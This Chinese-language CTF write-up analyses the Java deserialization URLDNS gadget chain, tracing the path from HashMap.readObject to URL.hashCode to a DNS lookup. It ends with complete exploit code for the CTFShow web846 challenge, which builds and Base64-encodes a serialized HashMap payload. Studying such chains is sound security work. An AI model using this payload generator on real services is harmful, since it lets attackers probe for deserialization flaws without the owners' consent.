java反序列化之URLDNS
1.URLDNS源码分析
原理:
1
|
java.util.HashMap 重写了 readObject, 在反序列化时会调用 hash 函数计算 key 的 hashCode.而 java.net.URL 的 hashCode 在计算时会调用 getHostAddress 来解析域名, 从而发出 DNS 请求.
|
所以先追踪java.util.HashMap的定义,直接到Hashmap.class,搜索readObject发现了一个重要的方法putVal
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
|
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// 读取 threshold(忽略)、loadfactor 和其他隐藏属性
s.defaultReadObject();
reinitialize(); // 重新初始化 HashMap 的内部结构
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor); // 检查负载因子是否合法
s.readInt(); // 读取并忽略桶的数量(buckets)
int mappings = s.readInt(); // 读取映射的数量(即 HashMap 的大小)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings); // 检查映射数量是否合法
else if (mappings > 0) { // 如果有映射(mappings>0),则进行初始化
// 只在负载因子在 0.25~4.0 范围内时,才用给定的负载因子计算容量
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc)); // 计算 table 的容量
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE); // 计算阈值
// 检查反序列化的数组类型是否安全
SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap]; // 创建新的 table
table = tab;
// 读取每一个 key 和 value,并放入 HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject(); // 读取 key
@SuppressWarnings("unchecked")
V value = (V) s.readObject(); // 读取 value
putVal(hash(key), key, value, false, false); // 放入 HashMap
}
}
}
|
putVal会依次读取每个 key 和 value,并调用 putVal 方法插入到 HashMap。追踪一些hash函数
1
2
3
4
|
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
|
这里又调用了key.hashcode方法,而key此时是我们传入的 java.net.URL 对象,那么跟进到这个类的hashCode()方法看下(hashCode 方法是 java.net.URL 类中的方法。)
1
2
3
4
5
6
7
|
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
|
当hashCode字段等于-1时会进行handler.hashCode(this)计算,所以需要跟进handler,有一个抽象类URLStreamHandler,继续跟进找到里面的hashCode方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
protected int hashCode(URL u) {
int h = 0; // 初始化哈希值
// 处理协议部分(如 http、https、ftp 等)
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// 处理主机部分
InetAddress addr = getHostAddress(u); // 获取主机的 InetAddress 对象
if (addr != null) {
h += addr.hashCode(); // 如果能解析出 IP 地址,则用 IP 的 hashCode
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode(); // 否则用主机名的小写形式的 hashCode
}
// 处理文件部分(即路径和查询参数)
String file = u.getFile();
if (file != null)
h += file.hashCode();
// 处理端口部分
if (u.getPort() == -1)
h += getDefaultPort(); // 如果没有指定端口,用协议的默认端口
else
h += u.getPort(); // 否则用指定的端口
// 处理引用部分(即 # 后面的片段)
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();
return h; // 返回最终的哈希值
}
|
这里有很多函数,看看其定义与作用:
- getProtocol()方法:其用来从url中获取协议的方法
文字总结一下路线就是
1
2
3
|
通过调用URL的hashCode方法,进而调用URLStreamHandler的hashCode方法,从而实现DNS查询,所以只需要我们令hashCOde的值为-1就可以让后半段链子实现,然后我们来看前半段
为了调用到URL中的hashCode方法,我们需要借助到hashMap类的readObject方法,因为在这个方法里面对key的hashCode进行了计算,如果key重写了hashCode方法,那么计算逻辑就是使用key的hashCode()方法,所以我们可以将URL对象作为key传入hashMap中,但是要想最终调用hashCode()方法,就必须让URL的hashCode的值为-1,因此我们可以利用反射在运行状态中操作URL的hashCode,从而实现DNS查询的目的。
|
所以总路线图就是
1
2
3
4
5
6
|
HashMap->readObject()
HashMap->hash()
URL->hashCode()
URLStreamHandler->hashCode()
URLStreamHandler->getHostAddress()
InetAddress->getByName()
|
所以web846题exp是
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
public class URLDNS {
public static void serialize(Object obj) throws IOException{
// 创建字节输出流,用于存储序列化后的数据
ByteArrayOutputStream data =new ByteArrayOutputStream();
// 创建对象输出流,负责把对象写入字节流
ObjectOutput oos =new ObjectOutputStream(data);
oos.writeObject(obj); // 序列化对象
oos.flush();
oos.close();
// 用Base64编码输出序列化后的字节数据
System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
};
public static void main(String[] args) throws Exception{
// 1. 创建URL对象
URL url=new URL("http://68421999-595d-43ef-bbd8-f10c88147a01.challenge.ctf.show/");
// 2. 通过反射获取URL类的hashCode字段
Class c=url.getClass();
Field hashcode=c.getDeclaredField("hashCode");
hashcode.setAccessible(true);
// hashcode.setAccessible(true);让 Java 反射机制可以访问 hashCode 这个字段,即使它是 private(私有的)或 protected(受保护的)。(Java 的安全机制默认不允许你直接访问私有字段)
// 3. 把hashCode字段设置为1(避免put时触发DNS请求)
hashcode.set(url,1);
//4. 创建了一个可以用 URL 做 key、用整数做 value 的 HashMap(哈希表/字典),变量名叫 h。
HashMap<URL,Integer> h = new HashMap<URL,Integer>();
//是把 url 作为 key,1 作为 value,存入到 HashMap 里
h.put(url,1);
// 5. 再次把hashCode字段设置为-1(为后续反序列化时触发DNS请求做准备)
hashcode.set(url,-1);
// 6. 序列化HashMap并输出
serialize(h);
}
}
|

Java反序列化 — URLDNS利用链分析-先知社区
Java反序列化URLDNS利用链
CTFShow-Java反序列化篇(1) - N1Rvana’s Blog